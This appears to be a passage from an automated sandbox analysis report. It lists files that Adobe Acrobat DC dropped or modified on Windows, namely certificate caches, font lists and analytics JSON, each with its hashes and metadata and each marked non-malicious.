Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7209817973800585
Encrypted:	false
SSDEEP:	3:kkFklekvEttfllXlE/HT8khhlrtNNX8RolJuRdxLlGB9lQRYwpDdt:kKHyseT8ohpNMa8RdWBwRd
MD5:	A8C6D92A9912128F686D7DE2B0ED6480
SHA1:	FC79D9A20B4CAC9AF0E9318F4B17C68D43721E0B
SHA-256:	792CD101CD8762636537BF69DDB98C2F7B970709A2317F3D7DC8694D532504EE
SHA-512:	5A838CA8B60E85967858F4FE9669C271CDEDAB01E7D26E92824B017FCB92B8754EA8CBE6C965E203DEA9E73742CD06216617D6EE83DB379571C3366171263CF9
Malicious:	false
Preview:	p...... ........-..B.c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.230795304831838
Encrypted:	false
SSDEEP:	6:kKoPL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:4iDImsLNkPlE99SNxAhUe/3
MD5:	3EE168764D42E47843DDDE5CBCD2A50C
SHA1:	BF7B4FA70B2444866937CE9E95CD744F7C59A85E
SHA-256:	B34B099A6792CB3A6E23B0450BB6BA963D25BC0F2BA00FD6F67F36B870B14A72
SHA-512:	9A17530741F2D7B2A224CEC649F2F20F55D349440C3161FCAD1FB6DD922D2AB0BA1EB5B0CC47AD8161EF2433967778A064597F9F2B61A599FFB99C67A47D8246
Malicious:	false
Preview:	p...... .........R.T.c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.2748

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.2748

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.363092285159867
Encrypted:	false
SSDEEP:	6:YEQXJ2HXgLS9Iu10nZiQ0Y4dWwKoAvJM3g98kUwPeUkwRe9:YvXKXVN0cjdWaGMbLUkee9
MD5:	C6A7B1B5BB0F478F3B71CD4D4387A0B4
SHA1:	E5CC280D594778C46DA580CE33D05620BFB4698F
SHA-256:	385C8779B42935D4102C8DF97885C4BD48489AB155CE5DFDA3D1407FEC6AF568
SHA-512:	B0DDDCB339A50130680123B84B44B38D1B6252B7BB9E934CF0E1E2FA3DFB1C9D810A19800AF7E8A4A9FCDAC99E8C11B511F2C8D47C8510DA77BF2F61A3CD41E7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"36536cf6-6699-4f37-9362-80ca1dc29d3f","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736727218312,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.316516893516483
Encrypted:	false
SSDEEP:	6:YEQXJ2HXgLS9Iu10nZiQ0Y4dWwKoAvJfBoTfXpnrPeUkwRe9:YvXKXVN0cjdWaGWTfXcUkee9
MD5:	7521CFD880552BE3ADE5DD3EB8FE1DA7
SHA1:	3B825A68BFDBD8EA55651EB6A4CEA25692155D2D
SHA-256:	2A5E811C78904451CF5FA3822424A33EAD17793C38E459CC87B260B3E2C5900D
SHA-512:	3F7B02510CC415A9A06A7CF23A3547B620FC7BBDED727158AF430015EBBC0B04F7EEC7FE1620C6E4E2CC79D5641056F646B58BA4480421F6B37FC80995CD5588
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"36536cf6-6699-4f37-9362-80ca1dc29d3f","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736727218312,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.294060091735106
Encrypted:	false
SSDEEP:	6:YEQXJ2HXgLS9Iu10nZiQ0Y4dWwKoAvJfBD2G6UpnrPeUkwRe9:YvXKXVN0cjdWaGR22cUkee9
MD5:	FD668EA9C4D1D1CC6E774E79934FC5D8
SHA1:	84FBC81298092F178F11E1A48C866661B38FB348
SHA-256:	4899445D1F33D67EAD17371BB51754F7BBFBEADB0AEF3784590DA1B2CA4E67BB
SHA-512:	7EB247614951E56A8549F63186CF8E5D7D10C4F9AAFDF9E5871CDA33089A70E464A92C61EA16E73AA32CB0C503DD93046C983B676DFDD10B60CC40FC79A031A6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"36536cf6-6699-4f37-9362-80ca1dc29d3f","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736727218312,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.343105348502495
Encrypted:	false
SSDEEP:	6:YEQXJ2HXgLS9Iu10nZiQ0Y4dWwKoAvJfPmwrPeUkwRe9:YvXKXVN0cjdWaGH56Ukee9
MD5:	2B92850E46C85F3ADE020D4968E9BDE0
SHA1:	6C82C8968741E91A6E2156977F2CDE21CDF7505B
SHA-256:	D555662B1C714DB1AF0390C1D69AA2E8302C5B4125A2AFD30C05D98A04AF2CC3
SHA-512:	ABAEC549DFBE3407E0F87646341DAD063F1E6CE3B78E96B5FDDF17FEBF5CD2CA99D1DF16EF4E83B5448251C866B1384952ADAF6ECE85D997AB13FA834664437A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"36536cf6-6699-4f37-9362-80ca1dc29d3f","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736727218312,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.685892900867299
Encrypted:	false
SSDEEP:	24:Yv6XVNZjdQpLgE9cQx8LennAvzBvkn0RCmK8czOCCS46:YvivKhgy6SAFv5Ah8cv/5
MD5:	A4DE54E76E568881F49C4E13710AAE7D
SHA1:	53C5FA6F039C2DE3E11E09B4FF77002FE240536C
SHA-256:	6C9A36870953F18BCE597C5BEEB97BF3F7BE800F7F8D9CDF6C8D84D7B4EC2047
SHA-512:	855C00B9FDBC69457D4131D21254BE912CAE63216216D9F7B55C374AA83203F5413A605661FD53F4B7143372AC0879C8D1707C18944AF109965D98DFFCE00EFB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"36536cf6-6699-4f37-9362-80ca1dc29d3f","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736727218312,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.2943736646695765
Encrypted:	false
SSDEEP:	6:YEQXJ2HXgLS9Iu10nZiQ0Y4dWwKoAvJf8dPeUkwRe9:YvXKXVN0cjdWaGU8Ukee9
MD5:	EF7E32FCCEDB5624E9B2E31850E37012
SHA1:	54593C033E4BA888084509F7A37DC054158514F4
SHA-256:	47509775168F66017FF4D2D993F7A3F606D21F41A02A687F55FC1F7A08E66EA2
SHA-512:	4852F30D885315FFBA87691E65C7237EC4AE14A05DE216352242AD61A3595090F085C40FB579C12CD174F62C0DF26800D1369D0D2855C78651722C97EF77E2AE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"36536cf6-6699-4f37-9362-80ca1dc29d3f","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736727218312,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.297374521022819
Encrypted:	false
SSDEEP:	6:YEQXJ2HXgLS9Iu10nZiQ0Y4dWwKoAvJfQ1rPeUkwRe9:YvXKXVN0cjdWaGY16Ukee9
MD5:	BE48555DC125473D857F25886E75B75A
SHA1:	4AE9E401E2B2D205BCFDC46845070BE84B597FC7
SHA-256:	041F1A1ACE71D4CF79150BE2FE774A670D83354A327BEF0F40251543415D9204
SHA-512:	B88A74C43C13572FE9F5B62A536BC0F3F214476084F37CC703F6952DCB86D522D550CB452E632CE6881D8D539D5B50B9161C593031188A07F0853ACFF9E7F41F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"36536cf6-6699-4f37-9362-80ca1dc29d3f","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736727218312,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.305312650933918
Encrypted:	false
SSDEEP:	6:YEQXJ2HXgLS9Iu10nZiQ0Y4dWwKoAvJfFldPeUkwRe9:YvXKXVN0cjdWaGz8Ukee9
MD5:	ECC874E77398E68B4FBCA1DCD41C9F6D
SHA1:	9009F210FD2E9AAAC15152FD1B79B9C3ED14614F
SHA-256:	4B19CE4AD9FCE630ADB42318C7581D9BAB31935187A2189474181C9190753F24
SHA-512:	FE17DAA6B3C02809E5440F8A95C1EFB1908E3AEA51EB130D3FD9F12AE87DC3EA6C38B1E007562027E1F76AEC961C901023A0B5654E12EB41A361201FDF96F3C1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"36536cf6-6699-4f37-9362-80ca1dc29d3f","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736727218312,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.322491409308673
Encrypted:	false
SSDEEP:	6:YEQXJ2HXgLS9Iu10nZiQ0Y4dWwKoAvJfzdPeUkwRe9:YvXKXVN0cjdWaGb8Ukee9
MD5:	A606D8206B7537E87D80D9CF40E7D8FF
SHA1:	94C56C5024393E1506FE9A7454EEF6D2D708653E
SHA-256:	9FC52A4F7CA73FA1A9DFE5AC06A6B4C896C4A7F0B1C7957E4325CE1A07749773
SHA-512:	34191C2AF7E0D580765B3FFE8FECDE23C80AFE0537D577E69647B2AC9F8CA68316CCF78FD75F1068FE5C5E6701B0DFEFDC6DE21136271CFFABA17ECA38F7DB0E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"36536cf6-6699-4f37-9362-80ca1dc29d3f","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736727218312,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.302906270791324
Encrypted:	false
SSDEEP:	6:YEQXJ2HXgLS9Iu10nZiQ0Y4dWwKoAvJfYdPeUkwRe9:YvXKXVN0cjdWaGg8Ukee9
MD5:	6BB15B957FFEBE320E25180CE5454B25
SHA1:	88C70796FE2FE0D5595651C79E440AF776565938
SHA-256:	BEF4D8F61D82498B619C935EA83C0A9CC93947782C1E7C3DC52D846AAAF6FFC5
SHA-512:	22FB33C015B6F5A8075779F4F6865DBD7F557D1B037EB3C7F8A1F28D2DFBC9D1ECA5B782068BA6F1964DBFDCB8F6BB5533A433994FD9E4159AA6E7F35AEF858E
Malicious:	false
